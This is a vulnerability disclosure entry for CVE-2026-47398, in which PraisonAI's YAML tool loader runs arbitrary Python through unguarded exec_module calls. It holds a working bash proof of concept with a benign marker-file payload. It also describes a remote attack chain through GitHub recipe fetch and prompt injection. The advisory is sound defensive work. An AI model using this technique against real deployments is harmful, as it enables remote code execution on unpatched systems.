# PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

Two unguarded spec.loader.exec_module sinks in PraisonAI's agents_generator.py let a YAML-supplied module_path execute arbitrary Python, bypassing the PRAISONAI_ALLOW_LOCAL_TOOLS gate.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: SnailSploit
- Disclosed: 2026-05-29
- CVE: CVE-2026-47398
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-78r8-wwqv-r299
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-78r8-wwqv-r299
- Tags: area:ai domain:ai domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:rce

**Target:** Python agent framework YAML tool loader (agents_generator.py)
**Root cause:** load_tools_from_module and load_tools_from_module_class call spec_from_file_location + spec.loader.exec_module on a module_path taken from agents.yaml without the PRAISONAI_ALLOW_LOCAL_TOOLS gate or any allowlist, missed by the v4.6.32 chokepoint refactor.
**Steps:**
1. Craft evil.py with module-level code writing a marker file
2. Create agents.yaml with roles.<agent>.tools listing `evil.py`
3. Run `PraisonAI(agent_file='agents.yaml').main()` from the directory
4. exec_module fires during tool registry construction, before any LLM call; marker file confirms code execution
5. Remote variant: `POST /v1/recipes/run` with `{"recipe": "github:<attacker>/<repo>/<recipe>"}` where the fetched agents.yaml references a colocated `./evil.py`
**How found:** Patch-lineage review: after CVE-2026-44334 fixed one exec_module sink in tool_override.py, the researcher grepped for remaining spec.loader.exec_module call sites and found two in agents_generator.py lacking the env-var gate added elsewhere.
**Exploitation:** Attacker supplies an agents.yaml (via writable config dir, GitHub recipe fetch with allow_any_github=True, or prompt injection) whose tools entry points at an attacker-controlled .py; the framework imports it during tool registry construction, executing module-level code as the service account with no API keys needed.
**Escalation:** Chaining with the recipe server's default no-auth posture and allow_any_github=True turns a local file-write primitive into unauthenticated network RCE (CVSS 7.8 -> 9.8).
**Insight:** When a vendor patches a sink class by adding a gate at one call site, enumerate every other call site of the same dangerous API (exec_module, eval, pickle.loads) — partial fixes leave sibling sinks; grep the API name, not the file.

## Proof of concept (copied exactly from the original report)

**Bash PoC: evil.py loaded via agents.yaml**

```
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi
```

**Unguarded exec_module sink in agents_generator.py**

```
336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate
```

**Recipe attack chain to exec_module**

```
HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE
```

